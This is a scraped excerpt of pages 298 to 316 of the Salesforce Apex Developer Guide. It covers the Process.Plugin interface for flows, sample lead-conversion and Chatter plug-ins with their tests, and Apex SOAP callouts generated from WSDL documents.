  • 298. Using Salesforce Features with Apex Passing Data to a Flow Using the Process.Plugin Interface // Instance of the flow public Flow.Interview.Flow_Template_Gallery myFlow {get; set;} public String getBreadCrumb() { String aBreadCrumb; if (myFlow==null) { return 'Home';} else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb'); return(aBreadCrumb==null ? 'Home': aBreadCrumb); } } See Also: Interview Class Passing Data to a Flow Using the Process.Plugin Interface Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow. The interface exposes Apex as a service, which accepts input values and returns output back to the flow. When you define an Apex class that implements the Process.Plugin interface in your organization, the Cloud Flow Designer displays the Apex class in the Palette. Process.Plugin has the following top level classes: • • • Process.PluginRequest Process.PluginResult Process.PluginDescribeResult The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow. The Process.PluginResult class returns output parameters from the class that implements the interface to the flow. The Process.PluginRequest class passes input parameters from a flow to the class that implements the interface. When you’re writing Apex unit tests, you must instantiate a class and pass it in the interface invoke method. You must also create a map and use it in the constructor to pass in the parameters needed by the system. For more information, see Using the Process.PluginRequest Class on page 276. The Process.PluginDescribeResult class is used to determine the input parameters and output parameters needed by the Process.PluginResult plug-in. Implementing the Process.Plugin Interface Using the Process.PluginRequest Class Using the Process.PluginResult Class Using the Process.PluginDescribeResult Class Process.Plugin Data Type Conversions Sample Process.Plugin Implementation for Lead Conversion Implementing the Process.Plugin Interface Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow. The following are the methods that must be called by the class that implements the Process.Plugin interface: 274
  • 299. Using Salesforce Features with Apex Name Arguments Implementing the Process.Plugin Interface Return Type Description Process.PluginDescribeResult Returns a Process.PluginDescribeResult describe object that describes this method call. invoke Process.PluginRequest Process.PluginResult Primary method that the system invokes when the class that implements the interface is instantiated. Example Implementation global class flowChat implements Process.Plugin { // The main method to be implemented. The Flow calls this at runtime. global Process.PluginResult invoke(Process.PluginRequest request) { // Get the subject of the Chatter post from the flow String subject = (String) request.inputParameters.get('subject'); // Use the Chatter APIs to post it to the current user's feed FeedItem fItem = new FeedItem(); fItem.ParentId = UserInfo.getUserId(); fItem.Body = 'Force.com flow Update: ' + subject; insert fItem; // return to Flow Map<String,Object> result = new Map<String,Object>(); return new Process.PluginResult(result); } // Returns the describe information for the interface global Process.PluginDescribeResult describe() { Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.Name = "flowchatplugin"; result.Tag = "chat"; result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{ new Process.PluginDescribeResult.InputParameter('subject', Process.PluginDescribeResult.ParameterType.STRING, true) }; result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ }; return result; } } Test Class The following is a test class for the above class. @isTest private class flowChatTest { static testmethod void flowChatTests() { flowChat plugin = new flowChat(); Map<String,Object> inputParams = new Map<String,Object>(); string feedSubject = 'Flow is alive'; InputParams.put('subject', feedSubject); Process.PluginRequest request = new Process.PluginRequest(inputParams); 275
  • 300. Using Salesforce Features with Apex Using the Process.PluginRequest Class plugin.invoke(request); } } Using the Process.PluginRequest Class The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow. This class has no methods. Constructor signature: Process.PluginRequest (Map<String,Object>) The following is an example of instantiating the Process.PluginRequest class with one input parameter: Map<String,Object> inputParams = new Map<String,Object>(); string feedSubject = 'Flow is alive'; InputParams.put('subject', feedSubject); Process.PluginRequest request = new Process.PluginRequest(inputParams); Code Example In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed. global Process.PluginResult invoke(Process.PluginRequest request) { // Get the subject of the Chatter post from the flow String subject = (String) request.inputParameters.get('subject'); // Use the Chatter APIs to post it to the current user's feed FeedPost fpost = new FeedPost(); fpost.ParentId = UserInfo.getUserId(); fpost.Body = 'Force.com flow Update: ' + subject; insert fpost; // return to Flow Map<String,Object> result = new Map<String,Object>(); return new Process.PluginResult(result); } // describes the interface global Process.PluginDescribeResult describe() { Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{ new Process.PluginDescribeResult.InputParameter('subject', Process.PluginDescribeResult.ParameterType.STRING, true) }; result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ }; return result; } } Using the Process.PluginResult Class The Process.PluginResult class returns output parameters from the class that implements the interface to the flow. You can instantiate the Process.PluginResult class using one of the following formats: • Process.PluginResult (Map<String,Object>) 276
  • 301. Using Salesforce Features with Apex • Using the Process.PluginDescribeResult Class Process.PluginResult (String, Object) Use the map when you have more than one result or when you don't know how many results will be returned. The following is an example of instantiating a Process.PluginResult class. string url = 'https://docs.google.com/document/edit?id=abc'; String status = 'Success'; Map<String,Object> result = new Map<String,Object>(); result.put('url', url); result.put('status',status); new Process.PluginResult(result); Using the Process.PluginDescribeResult Class The Process.PluginDescribeResult class is used to determine the input parameters and output parameters needed by the Process.PluginResult class. Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the flow. This method returns the Process.PluginDescribeResult class. The Process.PluginDescribeResult class can't be used to do the following functions: • • • • Queries Data modification Email Apex nested callouts Process.PluginDescribeResult Class and Subclass Properties The following is the constructor for the Process.PluginDescribeResult class: Process.PluginDescribeResult classname = new Process.PluginDescribeResult(); The following describe the properties of Process.PluginDescribeResult and its input and output parameter subclasses: • • • PluginDescribeResult Class Properties PluginDescribeResult.InputParameter Class Properties PluginDescribeResult.OutputParameter Class Properties The following is the constructor of the Process.PluginDescribeResult.InputParameter class: Process.PluginDescribeResult.InputParameter ip = new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string, Process.PluginDescribeResult.ParameterType.Enum, Boolean_required); The following is the constructor of the Process.PluginDescribeResult.OutputParameter class: Process.PluginDescribeResult.OutputParameter op = new new Process.PluginDescribeResult.OutputParameter(Name,Optional description string, Process.PluginDescribeResult.ParameterType.Enum); To use the Process.PluginDescribeResult class, create instances of the following additional subclasses: • • Process.PluginDescribeResult.InputParameter Process.PluginDescribeResult.OutputParameter 277
  • 302. Using Salesforce Features with Apex Using the Process.PluginDescribeResult Class Process.PluginDescribeResult.InputParameter is a list of input parameters and has the following format: Process.PluginDescribeResult.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{ new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string, Process.PluginDescribeResult.ParameterType.Enum, Boolean_required) For example: Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.setDescription('this plugin gets the name of a user'); result.setTag ('userinfo'); result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{ new Process.PluginDescribeResult.InputParameter('FullName', Process.PluginDescribeResult.ParameterType.STRING, true), new Process.PluginDescribeResult.InputParameter('DOB', Process.PluginDescribeResult.ParameterType.DATE, true), }; Process.PluginDescribeResult.OutputParameter is a list of output parameters and has the following format: Process.PluginDescribeResult.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ new Process.PluginDescribeResult.OutputParameter(Name,Optional description string, Process.PluginDescribeResult.ParameterType.Enum) For example: Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.setDescription('this plugin gets the name of a user'); result.setTag ('userinfo'); result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ new Process.PluginDescribeResult.OutputParameter('URL', Process.PluginDescribeResult.ParameterType.STRING), Both classes take the Process.PluginDescribeResult.ParameterType Enum, which has the following values: • • • • • • • • • • BOOLEAN DATE DATETIME DECIMAL DOUBLE FLOAT ID INTEGER LONG STRING For example: Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ new Process.PluginDescribeResult.OutputParameter('URL', Process.PluginDescribeResult.ParameterType.STRING, true), new Process.PluginDescribeResult.OutputParameter('STATUS', Process.PluginDescribeResult.ParameterType.STRING), }; 278
  • 303. Using Salesforce Features with Apex Process.Plugin Data Type Conversions Process.Plugin Data Type Conversions The following shows the data type conversions between Apex and the values returned to the Process.Plugin. For example, text data in a flow converts to string data in Apex. Flow Data Type Data Type Number Decimal Date Datetime/Date Boolean Boolean and numeric with 1 or 0 values only Text String Sample Process.Plugin Implementation for Lead Conversion In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an Apex plug-in element. // Converts a lead as a step in a Visual Workflow process. global class VWFConvertLead implements Process.Plugin { // This method runs when called by a flow's Apex plug-in element. global Process.PluginResult invoke( Process.PluginRequest request) { // Set up variables to store input parameters from // the flow. String leadID = (String) request.inputParameters.get( 'LeadID'); String contactID = (String) request.inputParameters.get('ContactID'); String accountID = (String) request.inputParameters.get('AccountID'); String convertedStatus = (String) request.inputParameters.get('ConvertedStatus'); Boolean overWriteLeadSource = (Boolean) request.inputParameters.get('OverwriteLeadSource'); Boolean createOpportunity = (Boolean) request.inputParameters.get('CreateOpportunity'); String opportunityName = (String) request.inputParameters.get('ContactID'); Boolean sendEmailToOwner = (Boolean) request.inputParameters.get('SendEmailToOwner'); // Set the default handling for booleans. if (overWriteLeadSource == null) overWriteLeadSource = false; if (createOpportunity == null) createOpportunity = true; if (sendEmailToOwner == null) sendEmailToOwner = false; // Convert the lead by passing it to a helper method. Map<String,Object> result = new Map<String,Object>(); result = convertLead(leadID, contactID, accountID, convertedStatus, overWriteLeadSource, createOpportunity, opportunityName, sendEmailToOwner); return new Process.PluginResult(result); 279
  • 304. Using Salesforce Features with Apex Sample Process.Plugin Implementation for Lead Conversion } // This method describes the plug-in and its inputs from // and outputs to the flow. // Implementing this method adds the class to the // Cloud Flow Designer palette. global Process.PluginDescribeResult describe() { // Set up plugin metadata Process.PluginDescribeResult result = new Process.PluginDescribeResult(); result.description = 'The LeadConvert Flow Plug-in converts a lead into ' + 'an account, a contact, and ' + '(optionally)an opportunity.'; result.tag = 'Lead Management'; // Create a list that stores both mandatory and optional // input parameters from the flow. // NOTE: Only primitive types (STRING, NUMBER, etc.) are // supported at this time. // Collections are currently not supported. result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{ // Lead ID (mandatory) new Process.PluginDescribeResult.InputParameter( 'LeadID', Process.PluginDescribeResult.ParameterType.STRING, true), // Account Id (optional) new Process.PluginDescribeResult.InputParameter( 'AccountID', Process.PluginDescribeResult.ParameterType.STRING, false), // Contact ID (optional) new Process.PluginDescribeResult.InputParameter( 'ContactID', Process.PluginDescribeResult.ParameterType.STRING, false), // Status to use once converted new Process.PluginDescribeResult.InputParameter( 'ConvertedStatus', Process.PluginDescribeResult.ParameterType.STRING, true), new Process.PluginDescribeResult.InputParameter( 'OpportunityName', Process.PluginDescribeResult.ParameterType.STRING, false), new Process.PluginDescribeResult.InputParameter( 'OverwriteLeadSource', Process.PluginDescribeResult.ParameterType.BOOLEAN, false), new Process.PluginDescribeResult.InputParameter( 'CreateOpportunity', Process.PluginDescribeResult.ParameterType.BOOLEAN, false), new Process.PluginDescribeResult.InputParameter( 'SendEmailToOwner', Process.PluginDescribeResult.ParameterType.BOOLEAN, false) }; // Create a list that stores output parameters sent // to the flow. result.outputParameters = new List< Process.PluginDescribeResult.OutputParameter>{ // Account ID of the converted lead new Process.PluginDescribeResult.OutputParameter( 'AccountID', Process.PluginDescribeResult.ParameterType.STRING), // Contact ID of the converted lead 280
  • 305. Using Salesforce Features with Apex Sample Process.Plugin Implementation for Lead Conversion new Process.PluginDescribeResult.OutputParameter( 'ContactID', Process.PluginDescribeResult.ParameterType.STRING), // Opportunity ID of the converted lead new Process.PluginDescribeResult.OutputParameter( 'OpportunityID', Process.PluginDescribeResult.ParameterType.STRING) }; return result; } /** * Implementation of the LeadConvert plug-in. * Converts a given lead with several options: * leadID - ID of the lead to convert * contactID * accountID - ID of the Account to attach the converted * Lead/Contact/Opportunity to. * convertedStatus * overWriteLeadSource * createOpportunity - true if you want to create a new * Opportunity upon conversion * opportunityName - Name of the new Opportunity. * sendEmailtoOwner - true if you are changing owners upon * conversion and want to notify the new Opportunity owner. * * returns: a Map with the following output: * AccountID - ID of the Account created or attached * to upon conversion. * ContactID - ID of the Contact created or attached * to upon conversion. * OpportunityID - ID of the Opportunity created * upon conversion. */ public Map<String,String> convertLead ( String leadID, String contactID, String accountID, String convertedStatus, Boolean overWriteLeadSource, Boolean createOpportunity, String opportunityName, Boolean sendEmailToOwner ) { Map<String,String> result = new Map<String,String>(); if (leadId == null) throw new ConvertLeadPluginException( 'Lead Id cannot be null'); // check for multiple leads with the same ID Lead[] leads = [Select Id, FirstName, LastName, Company From Lead where Id = :leadID]; if (leads.size() > 0) { Lead l = leads[0]; // CheckAccount = true, checkContact = false if (accountID == null && l.Company != null) { Account[] accounts = [Select Id, Name FROM Account where Name = :l.Company LIMIT 1]; if (accounts.size() > 0) { accountId = accounts[0].id; } } // Perform the lead conversion. Database.LeadConvert lc = new Database.LeadConvert(); lc.setLeadId(leadID); lc.setOverwriteLeadSource(overWriteLeadSource); lc.setDoNotCreateOpportunity(!createOpportunity); lc.setConvertedStatus(convertedStatus); 281
  • 306. Using Salesforce Features with Apex Sample Process.Plugin Implementation for Lead Conversion if (sendEmailToOwner != null) lc.setSendNotificationEmail( sendEmailToOwner); if (accountId != null && accountId.length() > 0) lc.setAccountId(accountId); if (contactId != null && contactId.length() > 0) lc.setContactId(contactId); if (createOpportunity) { lc.setOpportunityName(opportunityName); } Database.LeadConvertResult lcr = Database.convertLead( lc, true); if (lcr.isSuccess()) { result.put('AccountID', lcr.getAccountId()); result.put('ContactID', lcr.getContactId()); if (createOpportunity) { result.put('OpportunityID', lcr.getOpportunityId()); } } else { String error = lcr.getErrors()[0].getMessage(); throw new ConvertLeadPluginException(error); } } else { throw new ConvertLeadPluginException( 'No leads found with Id : "' + leadId + '"'); } return result; } // Utility exception class class ConvertLeadPluginException extends Exception {} } // Test class for the lead convert Apex plug-in. @isTest private class VWFConvertLeadTest { static testMethod void basicTest() { // Create test lead Lead testLead = new Lead( Company='Test Lead',FirstName='John',LastName='Doe'); insert testLead; LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1]; // Create test conversion VWFConvertLead aLeadPlugin = new VWFConvertLead(); Map<String,Object> inputParams = new Map<String,Object>(); Map<String,Object> outputParams = new Map<String,Object>(); inputParams.put('LeadID',testLead.ID); inputParams.put('ConvertedStatus', convertStatus.MasterLabel); Process.PluginRequest request = new Process.PluginRequest(inputParams); Process.PluginResult result; result = aLeadPlugin.invoke(request); Lead aLead = [select name, id, isConverted from Lead where id = :testLead.ID]; System.Assert(aLead.isConverted); } /* * This tests lead conversion with * the Account ID specified. 282
  • 307. Using Salesforce Features with Apex Sample Process.Plugin Implementation for Lead Conversion */ static testMethod void basicTestwithAccount() { // Create test lead Lead testLead = new Lead( Company='Test Lead',FirstName='John',LastName='Doe'); insert testLead; Account testAccount = new Account(name='Test Account'); insert testAccount; // System.debug('ACCOUNT BEFORE' + testAccount.ID); LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1]; // Create test conversion VWFConvertLead aLeadPlugin = new VWFConvertLead(); Map<String,Object> inputParams = new Map<String,Object>(); Map<String,Object> outputParams = new Map<String,Object>(); inputParams.put('LeadID',testLead.ID); inputParams.put('AccountID',testAccount.ID); inputParams.put('ConvertedStatus', convertStatus.MasterLabel); Process.PluginRequest request = new Process.PluginRequest(inputParams); Process.PluginResult result; result = aLeadPlugin.invoke(request); Lead aLead = [select name, id, isConverted, convertedAccountID from Lead where id = :testLead.ID]; System.Assert(aLead.isConverted); //System.debug('ACCOUNT AFTER' + aLead.convertedAccountID); System.AssertEquals(testAccount.ID, aLead.convertedAccountID); } /* * This tests lead conversion with the Account ID specified. */ static testMethod void basicTestwithAccounts() { // Create test lead Lead testLead = new Lead( Company='Test Lead',FirstName='John',LastName='Doe'); insert testLead; Account testAccount1 = new Account(name='Test Lead'); insert testAccount1; Account testAccount2 = new Account(name='Test Lead'); insert testAccount2; // System.debug('ACCOUNT BEFORE' + testAccount.ID); LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1]; // Create test conversion VWFConvertLead aLeadPlugin = new VWFConvertLead(); Map<String,Object> inputParams = new Map<String,Object>(); Map<String,Object> outputParams = new Map<String,Object>(); inputParams.put('LeadID',testLead.ID); inputParams.put('ConvertedStatus', convertStatus.MasterLabel); Process.PluginRequest request = new Process.PluginRequest(inputParams); 283
  • 308. Using Salesforce Features with Apex Communities Process.PluginResult result; result = aLeadPlugin.invoke(request); Lead aLead = [select name, id, isConverted, convertedAccountID from Lead where id = :testLead.ID]; System.Assert(aLead.isConverted); } /* * -ve Test */ static testMethod void errorTest() { // Create test lead // Lead testLead = new Lead(Company='Test Lead', // FirstName='John',LastName='Doe'); LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1]; // Create test conversion VWFConvertLead aLeadPlugin = new VWFConvertLead(); Map<String,Object> inputParams = new Map<String,Object>(); Map<String,Object> outputParams = new Map<String,Object>(); inputParams.put('LeadID','00Q7XXXXxxxxxxx'); inputParams.put('ConvertedStatus',convertStatus.MasterLabel); Process.PluginRequest request = new Process.PluginRequest(inputParams); Process.PluginResult result; try { result = aLeadPlugin.invoke(request); } catch (Exception e) { System.debug('EXCEPTION' + e); System.AssertEquals(1,1); } } /* * This tests the describe() method */ static testMethod void describeTest() { VWFConvertLead aLeadPlugin = new VWFConvertLead(); Process.PluginDescribeResult result = aLeadPlugin.describe(); System.AssertEquals( result.inputParameters.size(), 8); System.AssertEquals( result.OutputParameters.size(), 3); } } Communities Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities in Apex using the Network class and using Chatter in Apex classes in the ConnectApi namespace. 284
  • 309. Using Salesforce Features with Apex Zones Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also, most Chatter in Apex methods take a communityId argument. See Also: Network Class Zones Note: Before Summer ’13, Chatter Answers and Ideas used the term “communities.” In the Summer ‘13 release, these communities were renamed “zones” to prevent confusion with Salesforce Communities. Zones help organize ideas and answers into logical groups with each zone having its own focus and unique ideas and answers topics. Apex includes the Answers, Ideas, and ConnectApi.Zones classes that allow you to work with zones. See Also: Answers Class Ideas Class Zones Class 285
  • 310. Chapter 11 Integration and Apex Utilities In this chapter ... • • • • • • Invoking Callouts Using Apex JSON Support XML Support Securing Your Data Encoding Your Data Using Patterns and Matchers Apex allows you to integrate with external SOAP and REST Web services using callouts. Various utilities are provided for use with callouts. These are utilities for JSON, XML, data security, and encoding. Also, a general purpose utility for regular expressions with text strings is provided. 286
  • 311. Integration and Apex Utilities Invoking Callouts Using Apex Invoking Callouts Using Apex An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services that utilize SOAP and WSDL, or HTTP services (RESTful services). Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses. To learn more about the two types of callouts, see: • • SOAP Services: Defining a Class from a WSDL Document on page 287 Invoking HTTP Callouts on page 299 Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke Apex methods through Web services. Adding Remote Site Settings SOAP Services: Defining a Class from a WSDL Document Invoking HTTP Callouts Using Certificates Callout Limits and Limitations Adding Remote Site Settings Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses. To add a remote site setting: 1. 2. 3. 4. 5. 6. From Setup, click Security Controls > Remote Site Settings. Click New Remote Site. Enter a descriptive term for the Remote Site Name. Enter the URL for the remote site. Optionally, enter a description of the site. Click Save. SOAP Services: Defining a Class from a WSDL Document Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code. Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary. To generate an Apex class from a WSDL: 1. In the application, from Setup, click Develop > Apex Classes. 2. Click Generate from WSDL. 287
  • 312. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document 3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating. Note: The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: • • • 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 1024–66535 (inclusive): These ports accept HTTP or HTTPS connections. 4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes. For example, the Salesforce SOAP API WSDL cannot be parsed. 5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 1 million characters total. 6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view successfully generated code. The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex. Note the following about the generated Apex: • • • If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example, limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords. For details on handling characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs. If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements. Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by underscores (_) in the generated Apex code. After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL. Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Understanding the Generated Code and add it to your organization. Understanding the Generated Code Testing Web Service Callouts Performing DML Operations and Mock Callouts Considerations Using WSDLs 288
  • 313. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document Invoking an External Service To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex code and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write code similar to the following: // Create the stub strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap(); // Set up the license header dns.LicenseInfo = new strikeiron.LicenseInfo(); dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser(); dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com'; dns.LicenseInfo.RegisteredUser.Password = 'your-password'; // Make the Web service call strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com'); HTTP Header Support You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub. Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header. The following samples work with the sample WSDL file in Understanding the Generated Code on page 292: Sending HTTP Headers on a Web Service Callout docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.inputHttpHeaders_x = new Map<String, String>(); //Setting a basic authentication header stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=='); //Setting a cookie header stub.inputHttpHeaders_x.put('Cookie', 'name=value'); //Setting a custom HTTP header stub.inputHttpHeaders_x.put('myHeader', 'myValue'); String input = 'This is the input string'; String output = stub.EchoString(input); If a value for inputHttpHeaders_x is specified, it overrides the standard headers set. Accessing HTTP Response Headers from a Web Service Callout Response docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.outputHttpHeaders_x = new Map<String, String>(); String input = 'This is the input string'; String output = stub.EchoString(input); //Getting cookie header String cookie = stub.outputHttpHeaders_x.get('Set-Cookie'); 289
  • 314. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document //Getting custom header String myHeader = stub.outputHttpHeaders_x.get('My-Header'); The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the content of headers in the response. Supported WSDL Features Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes: Schema Type Apex Type xsd:anyURI String xsd:boolean Boolean xsd:date Date xsd:dateTime Datetime xsd:double Double xsd:float Double xsd:int Integer xsd:integer Integer xsd:language String xsd:long Long xsd:Name String xsd:NCName String xsd:nonNegativeInteger Integer xsd:NMTOKEN String xsd:NMTOKENS String xsd:normalizedString String xsd:NOTATION String xsd:positiveInteger Integer xsd:QName String xsd:short Integer xsd:string String xsd:time Datetime xsd:token String xsd:unsignedInt Integer xsd:unsignedLong Long xsd:unsignedShort Integer 290
  • 315. Integration and Apex Utilities SOAP Services: Defining a Class from a WSDL Document Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using API version 15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String. Apex also supports the following schema constructs: • • • • • xsd:all, in Apex code saved using API version 15.0 and later xsd:annotation, in Apex code saved using API version 15.0 and later xsd:attribute, in Apex code saved using API version 15.0 and later xsd:choice, in Apex code saved using API version 15.0 and later xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following restrictions: ◊ You cannot call a ref in a different namespace. ◊ A global element cannot use ref. ◊ If an element contains ref, it cannot also contain name or type. • xsd:sequence The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service. • • • blob decimal enum Apex does not support any other WSDL constructs, types, or services, including: • • • RPC/encoded services WSDL files with mulitple portTypes, multiple services, or multiple bindings WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not supported: <wsdl:types> <xsd:schema elementFormDefault="qualified" targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/"> <xsd:include schemaLocation="AmazonS3.xsd"/> </xsd:schema> </wsdl:types> However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL you are converting: <wsdl:types> <xsd:schema xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/"> <xsd:element name="CreateBucket"> <xsd:complexType> <xsd:sequence> [...] </xsd:schema> </wsdl:types> 291
  • 316. Integration and Apex Utilities • • • SOAP Services: Defining a Class from a WSDL Document Any schema types not documented in the previous table WSDLs that exceed the size limit, including the Salesforce WSDLs WSDLs that don’t use the document literal wrapped style. The following WSDL snippet doesn’t use document literal wrapped style and results in an “Unable to find complexType” error when imported. <wsdl:types> <xsd:schema targetNamespace="http://test.org/AccountPollInterface/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse"/> <xsd:simpleType name="SFDCPollResponse"> <xsd:restriction base="xsd:string" /> </xsd:simpleType> </xsd:schema> </wsdl:types> This modified version wraps the simpleType element as a complexType that contains a sequence of elements. This follows the document literal style and is supported. <wsdl:types> <xsd:schema targetNamespace="http://test.org/AccountPollInterface/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCPollResponse" /> <xsd:complexType name="SFDCPollResponse"> <xsd:sequence> <xsd:element name="SFDCOutput" type="xsd:string" /> </xsd:sequence> </xsd:complexType> </xsd:schema> </wsdl:types> Understanding the Generated Code The following example shows how an Apex class is created from a WSDL document. The Apex class is auto-generated for you when you import the WSDL. The following code shows a sample WSDL document: <wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://doc.sample.com/docSample" targetNamespace="http://doc.sample.com/docSample" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <!-- Above, the schema targetNamespace maps to the Apex class name. --> <!-- Below, the type definitions for the parameters are listed. Each complexType and simpleType parameteris mapped to an Apex class inside the parent class for the WSDL. Then, each element in the complexType is mapped to a public field inside the class. --> <wsdl:types> <s:schema elementFormDefault="qualified" targetNamespace="http://doc.sample.com/docSample"> <s:element name="EchoString"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" /> </s:sequence> </s:complexType> </s:element> <s:element name="EchoStringResponse"> <s:complexType> 292
